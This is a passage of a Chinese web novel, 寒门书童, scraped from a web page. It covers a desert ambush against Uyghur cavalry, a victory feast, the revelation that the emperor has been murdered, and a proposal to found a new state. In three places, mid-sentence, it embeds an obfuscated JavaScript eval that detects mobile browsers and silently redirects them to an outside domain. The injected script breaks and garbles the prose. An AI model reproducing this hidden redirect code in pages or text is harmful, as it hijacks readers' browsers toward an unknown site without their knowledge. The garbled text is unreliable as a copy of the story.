张校尉这才拱手:“是!” “另外,用红柳枝编筐,装满沙子,垒成掩体。你带人藏在后面,准备好军中所有的**箭。” 陈平川继续安排,一点都没把自己当成外人。 “等回鹘人的前锋进入射程,听我号令,齐射!记住,射马,不射人!” “什么?”张校尉愣住了,“射马?” 不光是他,所有将领都露出了不解的神色。 战场之上,不杀敌军,去射他们的马?这是什么打法? 陈平川没有解释,只是斩钉截铁地说道:“对,射马!战马一旦受惊,乱冲乱撞,比杀死十个骑兵都管用!我要他们的冲锋 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109434|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,变成一锅粥!” 张校尉虽然满心疑惑,但看着陈平川不容置疑的眼神,还是大声领命:“是!末将遵命!” 陈平川的目光,又转向另一名身材瘦小,但眼神格外机灵的军官。 “李队正。” “末将在!” “你带五十个弟兄,去胡杨林。不用跟他们硬拼,你们的任务,是放火。” “放火?”李队正也懵了。 “没错。”陈平川的手指点在胡杨林的中段,“找那些最粗壮的胡杨,在离地三尺高的树干上,给我砍出一道道深深的豁口。把我们军中所有浸了火油的麻布,都塞进去!” “再捡拾干枯的杨树叶,在树下堆得高高的。” “等进入胡杨林的那支回鹘偏师,走到林子最中间的位置,就给我点火!” 陈平川的声音带上了一丝冷意。 “胡杨木质多油,一旦烧起来,火势冲天,浓烟滚滚!回鹘骑兵在林子里,既冲不起来,又被烟熏火燎,战马惊惧,他们除了夺路而逃,别无选择!” “火起之后,你们就守在林子外面,有逃出来的,杀无赦!” “如此一来,这路包抄的奇兵,就废了!” “而正面战场,回鹘主力久攻不下,又看到侧后方火光冲天,必然军心大乱,萌生退意。” 陈平川最后看向了张烈,眼中闪烁着智慧的光芒。 “到那时,他们的退路,就是他们的死路!” “张将军,您亲率主力,埋伏在他们来时的沙丘沟壑之中。待他们溃退之时,便是我们收网之时!” 整个议事厅,陷入一片寂静。 所有人都被陈平川这个大胆、周密,甚至有些疯狂的计划给震住了。 环环相扣,滴水不漏。 仿佛这一场还未开始的战争,已经在他脑中推演了千百遍。 张武张了张嘴,想说些什么,却发现一个字也说不出来。 他原以为陈平川是个纸上谈兵的书呆子,却没想到,对方在军事谋略上的造诣,竟远在自己之上。 甚至,比张烈还胜上一筹! 张烈盯着陈平川,胸口剧烈起伏。 他戎马半生,经历过无数次血战,却从未想过,仗,还可以这么打! 这个计划,风险极大,可一旦成功,收益也同样巨大! 他看着陈平川那双平静而自信的眼睛,脑海里闪过他疏通坎儿井时的情景。 或许,真的可以信他一次! “好!” 张烈猛地一拍桌子,发出一声巨响。 他那双虎目之中,重新燃起了熊熊的战意。 “就按你说的办!” “传我将令,全军集结,准备迎敌!” 第248章 谈笑布局,送尔等归西! 戈壁滩上,烟尘滚滚。 一千名甘州回鹘的骑兵,如同一片移动的乌云,带着肃杀之气,向着月牙泉的方向压来。 为首的将领名叫阿史那雄,是甘州回鹘可汗的侄子。 他骑在一匹神骏的黑色大马上,脸上带着一丝轻蔑的笑意。 在他看来,这次出征,不过是一趟轻松的武装**。 “将军,前面就是月牙泉了。”一名副将指着远处那一片镶嵌在沙漠中的碧绿,谄媚地说道,“那些归义军的缩头乌龟,肯定都吓得躲在城里不敢出来呢。” 阿史那雄哈哈大笑起来:“一群被中原主子遗忘了百年的丧家之犬罢了!也敢占据我回鹘的土地?这次,我就要让他们知道,谁才是这片戈壁的主人!” 他勒住马,遥望着远处的月牙泉。 泉边似乎有些动静,隐约能看到一些人影在晃动。 “哦?还敢派人出来送死?” 阿史那雄嘴角勾起一抹轻蔑的弧度。 他根本没把归义军放在眼里,五百人步卒,在他的一千铁骑面前,就是砧板上的鱼肉! “传我命令!”他高举起手中的弯刀,“莫贺,你带三百人,从东边的林子绕过去,抄了他们的后路!我要让他们插翅难飞!” “是,将军!”一名剽悍的骑兵头领应声而出,带着三百骑兵,脱离大队,向着那片胡杨林奔去。 “剩下的人,跟我来!” 阿史那雄一挥弯刀,厉声喝道:“冲过去,碾碎他们!今晚,我们就在月牙泉边,用汉人的头骨当酒杯!” “嗷嗷嗷!” 七百名回鹘骑兵发出了震天的呐喊,催动战马,如同决堤的洪水,向着月牙泉席卷而去。 …… 月牙泉边,高地之上。 张校尉趴在沙子垒成的掩体后面,手心全是汗。 他看着远处那黑压压一片冲来的骑兵,心脏不争气地狂跳起来。 太快了! 那股排山倒海的气势,压得人几乎喘不过气来。 他身后的百名归义军士兵,同样面色发白,不少人握着**箭的手都在微微颤抖。 他们都是步卒,面对骑兵冲锋,天生就处于劣势。 恐惧,在人群中蔓延。 “都别慌!”张校尉咬着牙,低声吼道,“忘了陈先生怎么说的吗?相信陈先生!” “陈先生”三个字,像是有某种魔力。 士兵们想起了那个总是面带微笑、看起来文文弱弱的年轻人。 想起了他如何用神奇的法子让干涸的坎儿井重新流出清泉。 想起了他自信从容的模样。 心中的恐惧,似乎被压下去了一些。 他们深吸一口气,将手中的弓**握得更紧了。 陈平川和秦王,就站在他们身后不远处的一座沙丘上。 秦王祝衡脸色苍白,这是他第一次如此近距离地感受战争的残酷。 那震耳欲聋的马蹄声,让他感觉大地都在颤抖。 他下意识地看了一眼身旁的陈平川。 陈平川的脸上,没有丝毫的紧张和恐惧,只有一种近乎冷酷的平静。 这种阵仗,比当初他面对的蛮族大军和天公道,差远了。 他的眼睛,像鹰一样,死死地盯着越来越近的回鹘骑兵。 “近了……” “三百步……” “两百步……” “一百五十步!” 陈平川的声音突然响起,清晰而果决。 “放箭!” 张校尉几乎是条件反射般地嘶吼出声:“放!” “嗡——” 一百支早已上弦的**箭,发出了尖锐的蜂鸣声,腾空而起,在空中划出一道道死亡的弧线,狠狠地扎向了冲在最前面的回鹘骑兵。 然而,这些箭矢的目标,却出奇地一致。 不是骑在马上的士兵,而是他们胯下的战马! “噗!噗!噗!” 利箭入肉的声音接连响起。 冲在最前面的数十匹战马,悲嘶着,轰然倒地。 后面的战马躲闪不及,狠狠地撞了上去。 一时间,人仰马翻,惨叫声、嘶鸣声、骨骼断裂声混杂在一起,将这片戈壁滩变成了修罗场。 阿史那雄的瞳孔猛地一缩。 射马? 这些汉人疯了吗? 他还没来得及反应,第二轮箭雨已经呼啸而至。 又是数十匹战马倒下,整个冲锋的阵型,彻底被打乱了。 受惊的战马四处乱窜,将自己的主人掀翻在地,然后用铁蹄无情地践踏过去。 原本气势如虹的冲锋,瞬间变成了一场灾难。 “稳住!都给我稳住!” 阿史那雄气得目眦欲裂,拼命地挥舞着弯刀,想要重整队形。 可没用!< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109435|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' br>归义军的**箭,一波接着一波,就像是死神的镰刀,精准而无情地收割着他部下的坐骑。 战马的惨嘶声,比士兵的哀嚎,更能摧毁骑兵的意志。 就算有骑兵逃过归义军的箭矢,却被那锋利的木桩挡在了外面,只能无奈地绕圈跑,变成了移动的活靶子。 …… 与此同时,胡杨林中。 莫贺带着三百骑兵,正小心翼翼地在林中穿行。 林子里光线昏暗,盘根错节的树根和低垂的枝桠,让他们的行进速度变得异常缓慢。 “**,这鬼地方真难走!”一个骑兵低声咒骂着。 莫贺皱了皱眉头,心中也升起一丝不安。 这片林子,太适合打埋伏了! 希望那些汉人不会想到在这里设下埋伏。 他心里一边嘀咕,一边警惕地盯着四周。 就在这时,一股刺鼻的火油味,飘进了他的鼻腔。 他心中警兆大生,猛地抬头。 只见前方不远处的几棵巨大的胡杨树下,火光一闪! 下一刻,橘红色的火焰,舔舐着堆积如山的干枯树叶和浸透了火油的麻布,轰然一声,窜起数丈之高! “轰!轰!轰!” 接二连三的火头,从林子的四面八方亮起。 千年胡杨,木质含油,是最好的燃料。 火借风势,风助火威,几乎是在瞬间,整片胡杨林就变成了一片火海! 滚滚的黑烟,遮天蔽日,将他们三百人彻底吞噬。 “咳咳……是陷阱!有埋伏!” “好多烟!我的眼睛!什么都看不见了!” “马惊了!快控制住马!” 灼热的空气,呛人的浓烟,还有战马惊恐的嘶鸣,让这支偏师瞬间陷入了绝境。 他们看不清方向,只能像没头的苍蝇一样在火海和浓烟中乱窜。 不少人被惊马甩下,被活活烧死或踩死。 “撤!快撤出去!” 莫贺用湿布捂住口鼻,声嘶力竭地大吼着。 幸存的骑兵们调转马头,不顾一切地向着来时的方向冲去。 然而,当他们好不容易冲出火海,呼吸到第一口新鲜空气时,迎接他们的,却是李队正和他手下那五十名归义军士兵冰冷的刀锋和箭矢。 以逸待劳,守株待兔。 一场毫无悬念的**,在林边上演。 第249章 血染黄沙埋胡骨,三军奔袭复关山! “将军!你看!东边林子里着火了!” 阿史那雄正焦头烂额地指挥部队,试图冲破那道该死的“箭雨马墙”,闻言猛地回头。 只见东方的胡杨林,火光冲天,浓烟滚滚,仿佛连天都烧塌了一块。 他心头猛地一沉。 我的三百骑兵! 一股寒意,从脚底板直冲天灵盖。 中计了! 从一开始,他们就掉进了对方精心设计的陷阱里! “撤退!全军撤退!” 阿史那雄再也顾不上什么颜面和荣耀,发出了凄厉的吼声。 剩下的五百多名回鹘骑兵,如蒙大赦,纷纷调转马头,狼狈地向着来时的方向逃去。 然而,当他们逃到那片连绵的沙丘地带时,绝望,才真正降临。 “杀啊!” 一声石破天惊的怒吼,从沙丘的沟壑中响起。 张烈手持一柄环首大刀,一马当先,从沙丘后冲了出来。 他的身后,是两百多名眼含怒火的归义军步卒! 他们被压抑了太久的**和愤怒,在这一刻,化作了最原始的杀意! 慌乱溃败的回鹘骑兵,撞上了以逸待劳、士气如虹的归义军主力。 这是一场伏击战,更是一场**! 张烈状若疯魔,手中的大刀,每一次挥舞,都带起一蓬血雨。 他身上的伤疤,在鲜血的映衬下,如同活过来一般。 归义军的士兵们,红着眼睛,用手中的长矛、朴刀,狠狠地刺向、砍向那些不久前还不可一世的敌人。 阿史那雄看着眼前这地狱般的景象,彻底崩溃了。 他想逃,可一柄长矛,已经从他的后心,穿胸而过。 他不敢置信地低下头,看着胸前那血淋淋的矛尖,然后重重地从马上摔了下去。 夕阳西下,将整片戈壁染成了血色。 见统领已死,其余的回鹘人逃的更快。 转眼间,月牙泉边,再无一个站着的回鹘人。 归义军,大胜! …… “赢了!” “我们赢了!” 当最后一个回鹘骑兵倒在血泊之中,月牙泉边爆发出雷鸣般的欢呼声。 归义军的士兵们,扔掉手中的兵器,相互拥抱着,又哭又笑。 他们中的许多人,身上都挂了彩,但此刻,脸上却洋溢着一种劫后余生的狂喜。 压抑了太久了! 被甘州回鹘欺压、被吐蕃部落骚扰,只能困守孤城,苟延残喘。 这种憋屈的日子,他们过得太久了! 今天这一战,打得太痛快了! 他们用一场酣畅淋漓的大胜,向整个西域宣告,归义军的脊梁,还没断! 张烈站在尸山血海之中,拄着环首大刀,大口大口地喘着粗气。 他浑身浴血,分不清是敌人的,还是自己的。 看着周围欢呼的弟兄们,这位铁打的汉子,眼眶也忍不住红了。 他的目光,越过人群,投向了远处沙丘上那个平静的身影。 陈平川。 若不是他,今天躺在这里的,就是归义军的将士们。 这一战,看似是他们打赢的,但真正的指挥者,运筹帷幄、决胜千里之外的,是那个中原书生。 此时,陈平川正缓缓从沙丘上走下。 秦王祝衡跟在他身边,脸色依旧有些苍白,但眼神中却充满了前所未有的震撼和激动。 他亲眼见证了一场以弱胜强的奇迹。 见证了陈平川如何用智慧,将一千名精锐骑兵**于股掌之间,最终尽数歼灭。 “平川……你……” 祝衡想说些什么,却发现自己的喉咙有些干涩。 他一直知道陈平川有才,可他从不知道,陈平川的才华,竟恐怖到了如此地步! 这已经不是简单的智谋了,这简直是妖孽! 陈平川拍了拍他的肩膀,微微一笑:“王爷,习惯就好。” 对他来说,这不过是现代军事理论和基础物理学知识的一次简单应用。 可在这些冷兵器时代的将军们眼中,无异于神迹。 张烈大步迎了上来,走到陈平川面前。 他没有说话,只是用那双虎目,深深地看着陈平川。 眼神中,再无一丝一毫的怀疑和警惕,只剩下最纯粹的敬佩和感激。 突然,他对着陈平川,深深地鞠了一躬。 “陈先生,大恩不言谢!” “从今往后,你便是我归义军的军师!你的话,在军中,与我的将令无异!” 他身后的将领们,包括之前对陈平川颇有微词的张武,此刻也都心悦诚服地低下了头。 实力,是赢得尊重的唯一通行证。 陈平川坦然地受了他这一礼。 他知道,从这一刻起,他才算真正在归义军中站稳了脚跟。 “将军言重了。”陈平川扶起他,“眼下还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16109436|177985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不是庆祝的时候。” 他指着远处溃兵逃窜的方向,眼神变得锐利起来。 “回鹘主力已灭,但他们占据的那些据点,此刻必然是群龙无首,人心惶惶。” “兵法有云,宜将剩勇追穷寇!” “我们应当趁此机会,乘胜追击,将他们盘踞在沙州和瓜州之间的势力,连根拔起!” 张烈闻言,精神为之一振。 对啊! 他刚才只顾着高兴,却忘了这一点! 阿史那雄带来的,是甘州回鹘在这一带的全部机动兵力。 如今这支兵力被全歼,那些被他们占据的绿洲、堡寨,就成了一块块不设防的肥肉! “传我将令!” 张烈猛地举起大刀,激情澎湃地吼道:“留下二十个人打扫战场,救治伤员!其余的人,带足干粮清水,骑上回鹘人的战马,随我追击!” “我们的目标,玉门镇!” “收复失地,就在今日!” “吼!” 刚刚经历了一场血战的归义军将士,非但没有丝毫疲惫,反而被点燃了更高的热情。 他们迅速集结起来,士气如虹。 一场辉煌的胜利,足以洗去所有的疲惫和伤痛。 接下来的几天,对于归义军来说,如同梦幻一般。 张烈亲率主力,如秋风扫落叶般,席卷了甘州**鹘在沙州东部的所有据点。 第一天,他们兵不血刃地拿下了玉门镇。 镇内的回鹘守军,听闻阿史那雄全军覆没的消息,早已吓破了胆,没等归义军兵临城下,就弃城而逃。 镇内的汉人百姓,箪食壶浆,夹道欢迎,那场面,让无数归义军的老兵泪洒当场。 第二天,他们又攻克了阳关堡。 阳关堡地势险要,易守难攻,是扼守商道的重要关隘。 但陈平川早已料到,阳关堡的守军,必然会向甘州求援。 他让张烈派出一支小队,伪装成溃逃的回鹘兵,骗开了城门。 一场里应外合,阳关堡再次回到了汉人的手中。 第三天,第四天…… 捷报频传。 短短七天时间,归义军一路高歌猛进,收复了大小绿洲七处,堡寨三座。 整个归义军的控制范围,向东推进了足足三百里! 被甘州回鹘堵死多年的商道,重新被打通。 归义军的势力,达到了近五十年来最鼎盛的时期! 第250章 惊变庆功宴,你们已经回不去了。 整个敦煌城,都沸腾了。 百姓们奔走相告,家家户户张灯结彩,庆祝这来之不易的胜利。 陈平川的名字,也被蒙上了一层传奇色彩。 在百姓的口中,他成了上天派来拯救归义军的“智者”,是无所不能的活神仙。 而陈平川自己,却显得异常平静。 他每天的工作,就是和秦王一起,整理那些新收复地区的户籍、田亩、物产资料。 在他看来,打下一片地方不难,难的是如何治理好这片地方。 秦王祝衡也彻底放下了王爷的身份,任劳任怨地给他打下手。 这段时间的经历,让他迅速地成长起来。 他看着陈平川伏案工作的背影,心中感慨万千。 或许,陈平川是对的。 与其寄望于一个已经腐朽的朝廷,不如在这片土地上,亲手建立一个崭新的家园。 …… 这天,张烈率领大军,凯旋归来。 当他骑着高头大马,带着满载战利品的队伍进入敦煌城时,受到了英雄般的欢迎。 他没有先回府邸,而是直接来到了陈平川所在的院落。 “军师!” 人未到,声先至。 张烈大步流星地走进来,脸上是抑制不住的兴奋。 他将一张刚刚绘制好的堪舆图,重重地拍在桌上。 “你看!” 陈平川抬起头,只见图上,归义军的控制区域,用朱砂描绘,比之前扩大了数倍不止。 那抹红色,在荒芜的黄色戈壁上,显得格外醒目。 不仅如此,归义军的规模也扩大了数倍,步兵三千余人,骑兵一千多,总人数接近五千! 实力大大增强! “我们……终于在这片土地上,重新站稳脚跟了!” 张烈的声音,带着一丝颤抖。 陈平川看着他激动的样子,微微一笑。 “将军,这只是一个开始。” “今晚,犒赏三军,大办庆功宴!”张烈一挥手,豪气干云地说道,“我要让全城的百姓,都跟着我们一起,好好乐一乐!” “还有,我要当着所有人的面,敬军师你三杯酒!” …… 夜幕降临,星月高悬,敦煌城内灯火通明,热闹非凡。 归义军的军营里,燃起了一堆堆巨大的篝火,映红了每个人的脸庞。 空气中,弥漫着烤肉的焦香和烈酒的醇厚。 庆功宴,开始了。 士兵们围坐在篝火旁,大口吃肉,大碗喝酒,放声高歌。 压抑了太久的喜悦,在这一刻尽情地释放。 张烈端着一个巨大的陶碗,在各个篝火之间穿梭,和他的弟兄们挨个碰碗,笑骂声、碰杯声不绝于耳。 宴会最中央的主桌上,陈平川和秦王祝衡,与归义军的一众高级将领同坐。 桌上摆满了烤全羊、手抓肉和各种西域特有的瓜果。 “陈先生,我张烈是个粗人,不会说什么漂亮话。” 张烈端着满满一碗酒,走到了陈平川面前,当着所有将士的面,神情庄重地向陈平川敬酒。 “这次能有如此大胜,收复三百里失地,首功当属先生你!” “我敬先生一碗!我干了,你随意!” 说罢,他仰起脖子,将一整碗烈酒灌进了喉咙,一滴不洒。 周围的将领们,纷纷大声叫好。 陈平川笑了笑,也端起酒碗,一饮而尽。 辛辣的酒液入喉,像一团火在胸中燃烧。 “将军客气了,这是将士们用命换来的胜利。” “哈哈哈,先生谦虚了!”张烈大笑道,“没有你的计策,弟兄们就是白白送死!” “来,这第二碗,我代表敦煌城上下数万军民,感谢先生的再造之恩!” 他又满上一碗,再次一饮而尽。 “这第三碗……” 张烈顿了顿,他那双虎目之中,忽然泛起了点点泪光。 “我代表我张家的列祖列宗,感谢先生!你让我们这些不肖子孙,看到了光复河西的希望!” 三碗酒下肚,饶是张烈酒量惊人,脸上也泛起了红晕。 他的情绪,明显激动了起来。 主桌上,一名须发皆白,断了一只手臂的老将军,也颤颤巍巍地站了起来。 他是归义军中资历最老的人,曾跟随张烈的祖父南征北战。 “将军……说得好啊!” 老将军老泪纵横,声音哽咽。 “想我归义军,当年何等风光!横扫吐蕃,光复十一州!我大业的龙旗,插满了整个河西走廊!” “可如今……可如今我们却被困在这弹丸之地,连祖宗的基业都守不住……” 他的话,像是一颗火星,点燃了在场所有老一辈将领心中的悲怆和不甘。 百年的遗忘,百年的孤寂,百年的血战。 所有的委屈和辛酸,在这一场大胜之后,如同决堤的洪水,再也抑制不住。 “光复河西!重归大业!” 不知是谁,第一个吼出了这句口号。 紧接着,越来越多的人跟着嘶吼起来。 “光复河西!重归大业!” 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!“光复河西!重归大业!” 声浪一波高过一波,传遍了整个军营。 那些年轻的士兵们,也被这种悲壮而激昂的气氛所感染,跟着挥舞手臂,大声呐喊。 张武更是激动得满脸通红。 他命人取来了一卷被小心翼翼存放在木匣中的地图。 地图已经泛黄,边缘破损,但依旧能看清上面绘制的山川河流。 那是一幅完整的大业疆域图。 张武将地图在桌上展开,手指重重地指向了东方一个被朱砂圈出的城市。 “京城!” “我们的都城!我们的根!” 他抬起头,环视众人,眼中燃烧着狂热的火焰。 “诸位!今日之胜,证明了我们归义军,依旧是天下强军!我们不是丧家之犬!” “我们不能再在这片不毛之地等死了!我们应该回去!回到中原去!” “我们要让朝廷看看,我们这些被遗忘的忠臣,还在为大业流血!我们要拿回本该属于我们的荣耀和封赏!” 他的话,极具煽动性。 “归乡派”的年轻将领们,纷纷附和。 “没错!回家!我们受够这鬼地方了!” “与其在这里跟回鹘人、吐蕃人没完没了地打仗,不如回去过安生日子!” “将军!下令吧!我们杀回中原去!” 整个宴会的气氛,被推向了最高潮。 所有人的目光,都聚焦在了张烈的身上。 他们眼中,充满了期盼和渴望。 回乡,这个念头,像是一棵深埋在心底的种子,在今夜,终于要破土而出了。 张烈看着那幅地图,看着京城的方向,呼吸也变得粗重起来。 说不想回去,那是假的。 谁不想落叶归根? 谁不想在故土的繁华中,安度余生? 他握紧了拳头,似乎就要下定决心。 然而,就在这全场最狂热的时刻,一个不合时宜的声音,冷静地响了起来。 “诸位,恕我直言。” 陈平川缓缓地站起身,端着酒碗,神色平静地看着众人。 “中原……已经回不去了。” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第251章 一句话,引爆全场!真相残酷到绝望! 陈平川的话像一盆冰水,兜头浇在了所有人的狂热之上。 整个宴会现场,瞬间安静了下来。 篝火燃烧时发出的“噼啪”声,显得格外清晰。 所有人都用一种错愕的、难以置信的目光看着他。 张武第一个反应过来,他猛地一拍桌子,怒视着陈平川。 “你胡说八道些什么!” “我们刚刚大胜,士气正虹,你却在这里说这种丧气话!” “你从中原逃难过来,认为它不好,就不让我们回去?凭什么?” “就是!”另一个年轻将领也站了起来,指着陈平川的鼻子骂道,“我看你就是为了自己,想把我们永远困在这西域,好让你作威作福!” “你这个忘恩负义的白眼狼!将军好心收留你,你却在这里妖言惑众!” 质疑声和咒骂声,此起彼伏。 刚刚还被奉为神明的“智者”,转眼间就成了众矢之的。 张烈也目光不善地盯着陈平川,眉头紧锁。 “陈先生,你这话是什么意思?”他的声音低沉,带着一丝警告的意味,“我敬你是军师,但有些话,不能乱说。” 陈平川淡淡一笑,将碗中的酒一饮而尽。 他没有直接回答张烈的问题,而是看向了身旁的秦王祝衡。 “王爷,有些事,还是由您来说比较合适。” 众人一愣。 那个自称是秦王的骗子? 难道……他真的是王爷? 所有人的目光,都落在了祝衡的身上。 祝衡深吸一口气,陈平川说的对,有些事情,必须由他亲口说出来。 他站起身,整理了一下身上那件虽然干净、但已经洗得发白的旧袍子。 尽管落魄,但他身上那股与生俱来的皇室贵气,却依然无法掩盖。 “我知道你们认为我是骗子,但……我可以证明我是货真价实的秦王!” 祝衡的目光,缓缓扫过在场所有将领,最后落在了主将张烈的身上。 “张烈将军,一百多年前,贵军始祖张公,率众光复河西,上表归我大业。当时,高祖皇帝大喜,除了明面上的封赏,还曾派密使送来一道金牌,此事可对?” 张烈瞳孔一缩,这是归义军最高层的秘辛,除了历代主将和少数几位元老,外人绝不可能知晓。他没有回答,只是死死地盯着祝衡。 祝衡并不在意,自顾自地说道:“那金牌上,高祖皇帝亲笔写下八个字。这八个字,只有皇族,以及你们张家的接任者才知道。” 他一字一顿地说道:“那八个字便是——‘日月山河,唯我大业’!” “轰!” 张烈如遭雷击,猛地站了起来,椅子都被他带翻在地。 他身旁那名断臂老将军,更是浑身剧颤,嘴唇哆嗦着,一个字也说不出来。 这八个字,正是张家代代相传的最高机密!是他们百年忠诚的源头,是他们与大业朝廷之间最根本的联系! 祝衡看着张烈震撼的表情,惨然一笑:“这桩秘辛,记载于皇家宗卷《高祖实录》的孤本之中,此书藏于宫中‘天禄阁’,非皇族不得阅览。现在,你还认为我是骗子吗?” 张烈嘴唇动了动,却发不出任何声音。他看着祝衡,眼中的怀疑、警惕,已经尽数化为了骇然与悲戚。 他缓缓地,屈下了那条从未向任何人弯过的膝盖,单膝跪地。 “臣……归义军节度使张烈,参见秦王殿下!” 他身后,所有知道这个秘密的老将,也都跟着跪了下去,神情复杂。 其余的将士们见状,哪里还敢怀疑,纷纷跟着跪倒在地,山呼道:“参见秦王殿下!” 祝衡叹口气,继续说道:“诸位都起来吧……说回正题,我一个大业朝的王爷,为何会沦落至此,像个丧家之犬一样,逃到这西域来?” 他惨然一笑,笑声中充满了无尽的悲凉。 “因为,我们的国,已经没了!” “大业的皇帝,我的亲弟弟,已经……已经被人害死了!” 祝衡的声音,变得嘶哑而颤抖。 他开始讲述。 讲述梁太后如何专权,国舅梁越如何嚣张跋扈。 讲述景帝如何隐忍,如何试图夺回权力。 讲述那一场失败的宫变,心腹太监的背叛,景帝被逼饮下鸩酒,含恨而终。 而这些,都是祝衡在天牢里,梁越亲口告诉他的,目的就是为了临死前羞辱他,激怒他。 “他们杀死了皇帝,然后伪造了一份遗诏,立了一个不知道从哪里冒出来的野种当傀儡!” “如今的大业朝堂,已经被梁家那群国贼彻底掌控!” “而我,因为想要为我弟弟讨个说法,也被他们诬陷入狱,判了斩首!” 祝衡指着陈平川,眼中充满了感激。 “是陈平川,冒着生命危险,从法场上将我救了出来!” “我们一路被追杀,万里逃亡,才来到了这里!” 祝衡的每一句话,都像是一记重锤,狠狠地砸在众人的心上。 他们脸上的表情,从震惊,到骇然,再到彻底的呆滞。 本小章还未完,请点击下一页继续阅读后面精彩内容!他们心心念念的朝廷,他们渴望回归的故土,竟然……竟然发生了如此惊天动地的剧变? 皇帝被杀了? 权臣篡位了? 这……这不是话本里才有的故事吗? “不……不可能!”张武脸色惨白,连连摇头,“这绝不可能!你……你们是为了阻止我们东归,故意编造出来的谎言!” “谎言?” 祝衡猛地转过头,双目赤红地瞪着他。 “你以为我愿意将我祝家如此屈辱之事,公之于众吗!” “你以为我愿意承认,我连自己的弟弟都保护不了,连自己的家都回不去吗!” 他一把扯开自己的衣领,露出了胸口和背上纵横交错的伤疤。 那是被关押时,受到酷刑虐待,留下的痕迹。 “这些,也是假的吗!” 祝衡的嘶吼,充满了血泪和屈辱,像一把刀子,刺痛了在场每一个人的心。 没有人再怀疑了。 一个人的眼神可以骗人,但那种发自骨髓的悲痛和绝望,是无论如何也伪装不出来的。 大厅里,只剩下粗重的呼吸声和篝火燃烧的噼啪声。 之前还叫嚣着要“重归大业”的将领们,此刻都像是霜打的茄子,一个个面如死灰。 他们引以为傲的忠诚,他们坚守百年的信念,在这一刻,轰然崩塌。 陈平川看着众人失魂落魄的样子,缓缓开口,说出了那句最残忍,也最现实的话。 “所以,诸位。” “你们心心念念的那个大业朝,早已被一群窃国大盗所占据。” “你们现在回去,是向谁效忠呢?” 陈平川的话,字字诛心。 是啊,向谁效忠? 向杀了皇帝、篡夺了皇位的梁家国贼效忠吗? 这个念头,让所有人都感到一阵不寒而栗。 他们归义军的祖先,是为了守护大业的疆土,为了汉家的衣冠,才在这片土地上流血牺牲。 他们坚守百年,等的,是王师北定中原日,是堂堂正正地回归故里。 而不是去给一群乱臣贼子当狗! “噗通!” 那名断臂的老将军,再也支撑不住,一屁股瘫坐在了地上。 他浑浊的眼睛里,充满了迷茫和绝望,口中喃喃自语。 “没了……都没了……” “百年的坚守……原来……原来都是一场空……” 他的话,道出了所有人的心声。 信念崩塌的痛苦,远比肉体的伤痛更加折磨人。 整个宴会的气氛,从之前的狂热,瞬间跌入了冰点。 看着众人失魂落魄的样子,陈平川知道,火候到了。 摧毁一个旧的世界,是为了建立一个新的世界。 他清了清嗓子,声音回荡在寂静的夜空下。 “诸位,我知道这个消息对你们的打击很大。” “但是,我们没有时间沉浸在悲伤里。” “我们更应该想一想,接下来,该怎么办?” 他环视众人,目光锐利如鹰。 “那你说,我们该怎么办?”张烈抬起头,布满血丝的眼睛盯着陈平川,声音沙哑地问道,“难道,我们就要一辈子困死在这里吗?” “不!” 陈平川斩钉截铁地说道。 他走到那幅巨大的大业疆域图前,伸出手,却不是指向京城,而是指向了他们脚下的这片土地——敦煌。 “我们不回去了!” 他的声音,充满了前所未有的激情和力量。 “就在这西域,就在这片被中原遗忘了的土地上,我们,建立一个属于我们自己的国家!” 喜欢寒门书童:高中状元,你们卖我妹妹?请大家收藏:()寒门书童:高中状元,你们卖我妹妹?更新速度全网最快。 第252章 百年归心碎,一言天下殊 石破天惊! 如果说,刚才祝衡揭露的真相是惊雷,那么陈平川此刻提出的构想,就是足以颠覆整个世界的风暴! 所有人都被震得目瞪口呆,以为自己出现了幻听。 立国? 在这里? 建立一个属于汉人的国家? 这个想法,太疯狂了!太离经叛道了! 他们归义军的祖训,是效忠大业,是收复失地。 自立为王,那是谋反!是大逆不道! “我们,要建立一个汉家儿女可以挺直腰杆,不受欺压的国家!” “一个没有人敢随意欺凌我们,没有人能把我们当做奴隶和羔羊的国家!” “一个让我们的孩子,可以读书识字,可以安居乐业,可以有尊严地活下去的新家园!” 陈平川没有理会众人的震惊,他继续描绘着他心中的蓝图。 “我知道你们在想什么。你们会觉得,凭我们这区区数千兵马,如何在这强敌环伺的西域立足?” 他走到那张西域堪舆图前,手指在上面飞快地划动。 “甘州回鹘势大,没错。吐蕃部落凶残,也没错。” “但他们,不是我们的唯一敌人,也不是铁板一块!” 